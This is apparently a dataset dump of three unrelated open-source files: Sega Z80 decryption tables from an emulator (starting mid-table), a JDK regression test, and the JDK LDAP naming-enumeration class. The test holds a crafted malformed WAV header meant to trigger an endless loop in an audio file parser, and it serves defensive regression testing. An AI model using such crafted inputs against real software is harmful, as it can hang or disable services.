{ 0xa0,0x20,0x80,0x00 }, { 0x20,0xa0,0x28,0xa8 }, /* ...1...0...1...0 */
{ 0x28,0x20,0xa8,0xa0 }, { 0x20,0xa0,0x28,0xa8 }, /* ...1...0...1...1 */
{ 0x20,0xa0,0x28,0xa8 }, { 0x88,0xa8,0x08,0x28 }, /* ...1...1...0...0 */
{ 0x88,0xa8,0x08,0x28 }, { 0x88,0xa8,0x08,0x28 }, /* ...1...1...0...1 */
{ 0xa0,0x20,0x80,0x00 }, { 0x88,0x08,0x80,0x00 }, /* ...1...1...1...0 */
{ 0x20,0xa0,0x28,0xa8 }, { 0x00,0x08,0x20,0x28 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5010_device::sega_315_5010_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5010, tag, owner, clock) {}
void sega_315_5010_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0xa0,0x80,0xa8,0x88 }, { 0x28,0xa8,0x08,0x88 }, /* ...0...0...0...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...0...0...1 */
{ 0xa0,0x80,0x20,0x00 }, { 0xa0,0x80,0x20,0x00 }, /* ...0...0...1...0 */
{ 0x08,0x28,0x88,0xa8 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...0...1...1 */
{ 0x08,0x00,0x88,0x80 }, { 0x28,0xa8,0x08,0x88 }, /* ...0...1...0...0 */
{ 0xa0,0x80,0x20,0x00 }, { 0x08,0x00,0x88,0x80 }, /* ...0...1...0...1 */
{ 0xa0,0x80,0x20,0x00 }, { 0xa0,0x80,0x20,0x00 }, /* ...0...1...1...0 */
{ 0xa0,0x80,0x20,0x00 }, { 0x00,0x08,0x20,0x28 }, /* ...0...1...1...1 */
{ 0x88,0x80,0x08,0x00 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...0...0...0 */
{ 0x88,0x80,0x08,0x00 }, { 0x00,0x08,0x20,0x28 }, /* ...1...0...0...1 */
{ 0x08,0x28,0x88,0xa8 }, { 0x08,0x28,0x88,0xa8 }, /* ...1...0...1...0 */
{ 0xa0,0x80,0xa8,0x88 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...0...1...1 */
{ 0x08,0x00,0x88,0x80 }, { 0x88,0x80,0x08,0x00 }, /* ...1...1...0...0 */
{ 0x00,0x08,0x20,0x28 }, { 0x88,0x80,0x08,0x00 }, /* ...1...1...0...1 */
{ 0x08,0x28,0x88,0xa8 }, { 0x08,0x28,0x88,0xa8 }, /* ...1...1...1...0 */
{ 0x08,0x00,0x88,0x80 }, { 0xa0,0x80,0x20,0x00 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5128_device::sega_315_5128_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5128, tag, owner, clock) {}
void sega_315_5128_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0xa8,0xa0,0x88,0x80 }, { 0x28,0xa8,0x08,0x88 }, /* ...0...0...0...0 */
{ 0x28,0x08,0xa8,0x88 }, { 0xa8,0xa0,0x88,0x80 }, /* ...0...0...0...1 */
{ 0x28,0x20,0xa8,0xa0 }, { 0x28,0xa8,0x08,0x88 }, /* ...0...0...1...0 */
{ 0x28,0x08,0xa8,0x88 }, { 0x28,0x20,0xa8,0xa0 }, /* ...0...0...1...1 */
{ 0xa8,0xa0,0x88,0x80 }, { 0xa8,0xa0,0x88,0x80 }, /* ...0...1...0...0 */
{ 0x28,0x20,0xa8,0xa0 }, { 0x28,0x20,0xa8,0xa0 }, /* ...0...1...0...1 */
{ 0x28,0x20,0xa8,0xa0 }, { 0x28,0x20,0xa8,0xa0 }, /* ...0...1...1...0 */
{ 0xa8,0xa0,0x88,0x80 }, { 0x28,0x20,0xa8,0xa0 }, /* ...0...1...1...1 */
{ 0xa8,0xa0,0x88,0x80 }, { 0x28,0x20,0xa8,0xa0 }, /* ...1...0...0...0 */
{ 0x28,0x20,0xa8,0xa0 }, { 0xa8,0xa0,0x88,0x80 }, /* ...1...0...0...1 */
{ 0x28,0x20,0xa8,0xa0 }, { 0xa0,0x80,0xa8,0x88 }, /* ...1...0...1...0 */
{ 0x28,0x08,0xa8,0x88 }, { 0x28,0x08,0xa8,0x88 }, /* ...1...0...1...1 */
{ 0xa0,0x80,0xa8,0x88 }, { 0xa8,0xa0,0x88,0x80 }, /* ...1...1...0...0 */
{ 0x28,0x20,0xa8,0xa0 }, { 0xa8,0x28,0xa0,0x20 }, /* ...1...1...0...1 */
{ 0xa0,0x80,0xa8,0x88 }, { 0xa8,0xa0,0x88,0x80 }, /* ...1...1...1...0 */
{ 0xa8,0xa0,0x88,0x80 }, { 0xa8,0x28,0xa0,0x20 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5028_device::sega_315_5028_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5028, tag, owner, clock) {}
void sega_315_5028_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x28,0xa8,0x08,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...0...0...0...0 */
{ 0xa8,0xa0,0x88,0x80 }, { 0x00,0x20,0x80,0xa0 }, /* ...0...0...0...1 */
{ 0xa8,0xa0,0x88,0x80 }, { 0x00,0x20,0x80,0xa0 }, /* ...0...0...1...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...0...0...1...1 */
{ 0xa8,0x88,0xa0,0x80 }, { 0xa0,0x20,0xa8,0x28 }, /* ...0...1...0...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...0...1...0...1 */
{ 0xa8,0xa0,0x88,0x80 }, { 0x00,0x20,0x80,0xa0 }, /* ...0...1...1...0 */
{ 0xa8,0xa0,0x88,0x80 }, { 0x00,0x20,0x80,0xa0 }, /* ...0...1...1...1 */
{ 0x28,0xa8,0x08,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...1...0...0...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...1...0...0...1 */
{ 0xa8,0xa0,0x88,0x80 }, { 0x00,0x20,0x80,0xa0 }, /* ...1...0...1...0 */
{ 0xa8,0xa0,0x88,0x80 }, { 0x00,0x20,0x80,0xa0 }, /* ...1...0...1...1 */
{ 0x28,0xa8,0x08,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...1...1...0...0 */
{ 0xa8,0x88,0xa0,0x80 }, { 0xa0,0x20,0xa8,0x28 }, /* ...1...1...0...1 */
{ 0x28,0xa8,0x08,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...1...1...1...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0x88,0x80,0x08,0x00 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5084_device::sega_315_5084_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5084, tag, owner, clock) {}
void sega_315_5084_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x28,0x08,0xa8,0x88 }, { 0xa0,0xa8,0x20,0x28 }, /* ...0...0...0...0 */
{ 0x80,0x88,0xa0,0xa8 }, { 0xa0,0xa8,0x20,0x28 }, /* ...0...0...0...1 */
{ 0xa0,0xa8,0x20,0x28 }, { 0x20,0xa0,0x00,0x80 }, /* ...0...0...1...0 */
{ 0xa0,0xa8,0x20,0x28 }, { 0x80,0x88,0xa0,0xa8 }, /* ...0...0...1...1 */
{ 0x08,0x88,0x00,0x80 }, { 0x08,0x88,0x00,0x80 }, /* ...0...1...0...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x08,0x88,0x00,0x80 }, /* ...0...1...0...1 */
{ 0x20,0xa0,0x00,0x80 }, { 0x20,0xa0,0x00,0x80 }, /* ...0...1...1...0 */
{ 0x08,0x88,0x00,0x80 }, { 0x08,0x88,0x00,0x80 }, /* ...0...1...1...1 */
{ 0x88,0xa8,0x80,0xa0 }, { 0xa0,0xa8,0x20,0x28 }, /* ...1...0...0...0 */
{ 0x80,0x88,0xa0,0xa8 }, { 0x80,0x88,0xa0,0xa8 }, /* ...1...0...0...1 */
{ 0xa0,0xa8,0x20,0x28 }, { 0x20,0xa0,0x00,0x80 }, /* ...1...0...1...0 */
{ 0xa0,0xa8,0x20,0x28 }, { 0x80,0x88,0xa0,0xa8 }, /* ...1...0...1...1 */
{ 0x08,0x88,0x00,0x80 }, { 0x28,0x08,0xa8,0x88 }, /* ...1...1...0...0 */
{ 0x08,0x88,0x00,0x80 }, { 0x80,0x88,0xa0,0xa8 }, /* ...1...1...0...1 */
{ 0x28,0x08,0xa8,0x88 }, { 0x20,0xa0,0x00,0x80 }, /* ...1...1...1...0 */
{ 0x80,0x88,0xa0,0xa8 }, { 0x08,0x88,0x00,0x80 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
| gpl-2.0 |
FauxFaux/jdk9-jdk | test/javax/sound/sampled/spi/AudioFileReader/EndlessLoopHugeLengthWave.java | 2146 | /*
* Copyright (c) 2015, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
import java.io.ByteArrayInputStream;
import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.UnsupportedAudioFileException;
/**
* @test
* @bug 8135160
*/
public final class EndlessLoopHugeLengthWave {
// some data wich can cause an endless loop in RiffReader.java
private static byte[] headerWAV = {0x52, 0x49, 0x46, 0x46, // RIFF_MAGIC
0x7, 0xF, 0xF, 0xF, // fileLength
0x57, 0x41, 0x56, 0x45, // waveMagic
0x66, 0x6d, 0x74, 0x20, // FMT_MAGIC
1, 2, 3, 4, // format
3, 0,// wav_type WAVE_FORMAT_IEEE_FLOAT
1, 0, // channels
1, 1, // sampleRate
1, 0, 0, 0, // avgBytesPerSec
0, 1, // blockAlign
1, 0, // sampleSizeInBits
0x64, 0x61, 0x74, 0x61, // DATA_MAGIC
};
public static void main(final String[] args) throws Exception {
try {
AudioSystem.getAudioFileFormat(new ByteArrayInputStream(headerWAV));
} catch (final UnsupportedAudioFileException ignored) {
// Expected
}
}
} | gpl-2.0 |
frohoff/jdk8u-jdk | src/share/classes/com/sun/jndi/ldap/AbstractLdapNamingEnumeration.java | 12419 | /*
* Copyright (c) 1999, 2011, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package com.sun.jndi.ldap;
import com.sun.jndi.toolkit.ctx.Continuation;
import java.util.NoSuchElementException;
import java.util.Vector;
import javax.naming.*;
import javax.naming.directory.Attributes;
import javax.naming.ldap.Control;
/**
* Basic enumeration for NameClassPair, Binding, and SearchResults.
*/
abstract class AbstractLdapNamingEnumeration<T extends NameClassPair>
implements NamingEnumeration<T>, ReferralEnumeration<T> {
protected Name listArg;
private boolean cleaned = false;
private LdapResult res;
private LdapClient enumClnt;
private Continuation cont; // used to fill in exceptions
private Vector<LdapEntry> entries = null;
private int limit = 0;
private int posn = 0;
protected LdapCtx homeCtx;
private LdapReferralException refEx = null;
private NamingException errEx = null;
/*
* Record the next set of entries and/or referrals.
*/
AbstractLdapNamingEnumeration(LdapCtx homeCtx, LdapResult answer, Name listArg,
Continuation cont) throws NamingException {
// These checks are to accommodate referrals and limit exceptions
// which will generate an enumeration and defer the exception
// to be thrown at the end of the enumeration.
// All other exceptions are thrown immediately.
// Exceptions shouldn't be thrown here anyhow because
// process_return_code() is called before the constructor
// is called, so these are just safety checks.
if ((answer.status != LdapClient.LDAP_SUCCESS) &&
(answer.status != LdapClient.LDAP_SIZE_LIMIT_EXCEEDED) &&
(answer.status != LdapClient.LDAP_TIME_LIMIT_EXCEEDED) &&
(answer.status != LdapClient.LDAP_ADMIN_LIMIT_EXCEEDED) &&
(answer.status != LdapClient.LDAP_REFERRAL) &&
(answer.status != LdapClient.LDAP_PARTIAL_RESULTS)) {
// %%% need to deal with referral
NamingException e = new NamingException(
LdapClient.getErrorMessage(
answer.status, answer.errorMessage));
throw cont.fillInException(e);
}
// otherwise continue
res = answer;
entries = answer.entries;
limit = (entries == null) ? 0 : entries.size(); // handle empty set
this.listArg = listArg;
this.cont = cont;
if (answer.refEx != null) {
refEx = answer.refEx;
}
// Ensures that context won't get closed from underneath us
this.homeCtx = homeCtx;
homeCtx.incEnumCount();
enumClnt = homeCtx.clnt; // remember
}
@Override
public final T nextElement() {
try {
return next();
} catch (NamingException e) {
// can't throw exception
cleanup();
return null;
}
}
@Override
public final boolean hasMoreElements() {
try {
return hasMore();
} catch (NamingException e) {
// can't throw exception
cleanup();
return false;
}
}
/*
* Retrieve the next set of entries and/or referrals.
*/
private void getNextBatch() throws NamingException {
res = homeCtx.getSearchReply(enumClnt, res);
if (res == null) {
limit = posn = 0;
return;
}
entries = res.entries;
limit = (entries == null) ? 0 : entries.size(); // handle empty set
posn = 0; // reset
// mimimize the number of calls to processReturnCode()
// (expensive when batchSize is small and there are many results)
if ((res.status != LdapClient.LDAP_SUCCESS) ||
((res.status == LdapClient.LDAP_SUCCESS) &&
(res.referrals != null))) {
try {
// convert referrals into a chain of LdapReferralException
homeCtx.processReturnCode(res, listArg);
} catch (LimitExceededException | PartialResultException e) {
setNamingException(e);
}
}
// merge any newly received referrals with any current referrals
if (res.refEx != null) {
if (refEx == null) {
refEx = res.refEx;
} else {
refEx = refEx.appendUnprocessedReferrals(res.refEx);
}
res.refEx = null; // reset
}
if (res.resControls != null) {
homeCtx.respCtls = res.resControls;
}
}
private boolean more = true; // assume we have something to start with
private boolean hasMoreCalled = false;
/*
* Test if unprocessed entries or referrals exist.
*/
@Override
public final boolean hasMore() throws NamingException {
if (hasMoreCalled) {
return more;
}
hasMoreCalled = true;
if (!more) {
return false;
} else {
return (more = hasMoreImpl());
}
}
/*
* Retrieve the next entry.
*/
@Override
public final T next() throws NamingException {
if (!hasMoreCalled) {
hasMore();
}
hasMoreCalled = false;
return nextImpl();
}
/*
* Test if unprocessed entries or referrals exist.
*/
private boolean hasMoreImpl() throws NamingException {
// when page size is supported, this
// might generate an exception while attempting
// to fetch the next batch to determine
// whether there are any more elements
// test if the current set of entries has been processed
if (posn == limit) {
getNextBatch();
}
// test if any unprocessed entries exist
if (posn < limit) {
return true;
} else {
try {
// try to process another referral
return hasMoreReferrals();
} catch (LdapReferralException |
LimitExceededException |
PartialResultException e) {
cleanup();
throw e;
} catch (NamingException e) {
cleanup();
PartialResultException pre = new PartialResultException();
pre.setRootCause(e);
throw pre;
}
}
}
/*
* Retrieve the next entry.
*/
private T nextImpl() throws NamingException {
try {
return nextAux();
} catch (NamingException e) {
cleanup();
throw cont.fillInException(e);
}
}
private T nextAux() throws NamingException {
if (posn == limit) {
getNextBatch(); // updates posn and limit
}
if (posn >= limit) {
cleanup();
throw new NoSuchElementException("invalid enumeration handle");
}
LdapEntry result = entries.elementAt(posn++);
// gets and outputs DN from the entry
return createItem(result.DN, result.attributes, result.respCtls);
}
protected final String getAtom(String dn) {
// need to strip off all but lowest component of dn
// so that is relative to current context (currentDN)
try {
Name parsed = new LdapName(dn);
return parsed.get(parsed.size() - 1);
} catch (NamingException e) {
return dn;
}
}
protected abstract T createItem(String dn, Attributes attrs,
Vector<Control> respCtls) throws NamingException;
/*
* Append the supplied (chain of) referrals onto the
* end of the current (chain of) referrals.
*/
@Override
public void appendUnprocessedReferrals(LdapReferralException ex) {
if (refEx != null) {
refEx = refEx.appendUnprocessedReferrals(ex);
} else {
refEx = ex.appendUnprocessedReferrals(refEx);
}
}
final void setNamingException(NamingException e) {
errEx = e;
}
protected abstract AbstractLdapNamingEnumeration<T> getReferredResults(
LdapReferralContext refCtx) throws NamingException;
/*
* Iterate through the URLs of a referral. If successful then perform
* a search operation and merge the received results with the current
* results.
*/
protected final boolean hasMoreReferrals() throws NamingException {
if ((refEx != null) &&
(refEx.hasMoreReferrals() ||
refEx.hasMoreReferralExceptions())) {
if (homeCtx.handleReferrals == LdapClient.LDAP_REF_THROW) {
throw (NamingException)(refEx.fillInStackTrace());
}
// process the referrals sequentially
while (true) {
LdapReferralContext refCtx =
(LdapReferralContext)refEx.getReferralContext(
homeCtx.envprops, homeCtx.reqCtls);
try {
update(getReferredResults(refCtx));
break;
} catch (LdapReferralException re) {
// record a previous exception
if (errEx == null) {
errEx = re.getNamingException();
}
refEx = re;
continue;
} finally {
// Make sure we close referral context
refCtx.close();
}
}
return hasMoreImpl();
} else {
cleanup();
if (errEx != null) {
throw errEx;
}
return (false);
}
}
/*
* Merge the entries and/or referrals from the supplied enumeration
* with those of the current enumeration.
*/
protected void update(AbstractLdapNamingEnumeration<T> ne) {
// Cleanup previous context first
homeCtx.decEnumCount();
// New enum will have already incremented enum count and recorded clnt
homeCtx = ne.homeCtx;
enumClnt = ne.enumClnt;
// Do this to prevent referral enumeration (ne) from decrementing
// enum count because we'll be doing that here from this
// enumeration.
ne.homeCtx = null;
// Record rest of information from new enum
posn = ne.posn;
limit = ne.limit;
res = ne.res;
entries = ne.entries;
refEx = ne.refEx;
listArg = ne.listArg;
}
protected final void finalize() {
cleanup();
}
protected final void cleanup() {
if (cleaned) return; // been there; done that
if(enumClnt != null) {
enumClnt.clearSearchReply(res, homeCtx.reqCtls);
}
enumClnt = null;
cleaned = true;
if (homeCtx != null) {
homeCtx.decEnumCount();
homeCtx = null;
}
}
@Override
public final void close() {
cleanup();
}
}
| gpl-2.0 |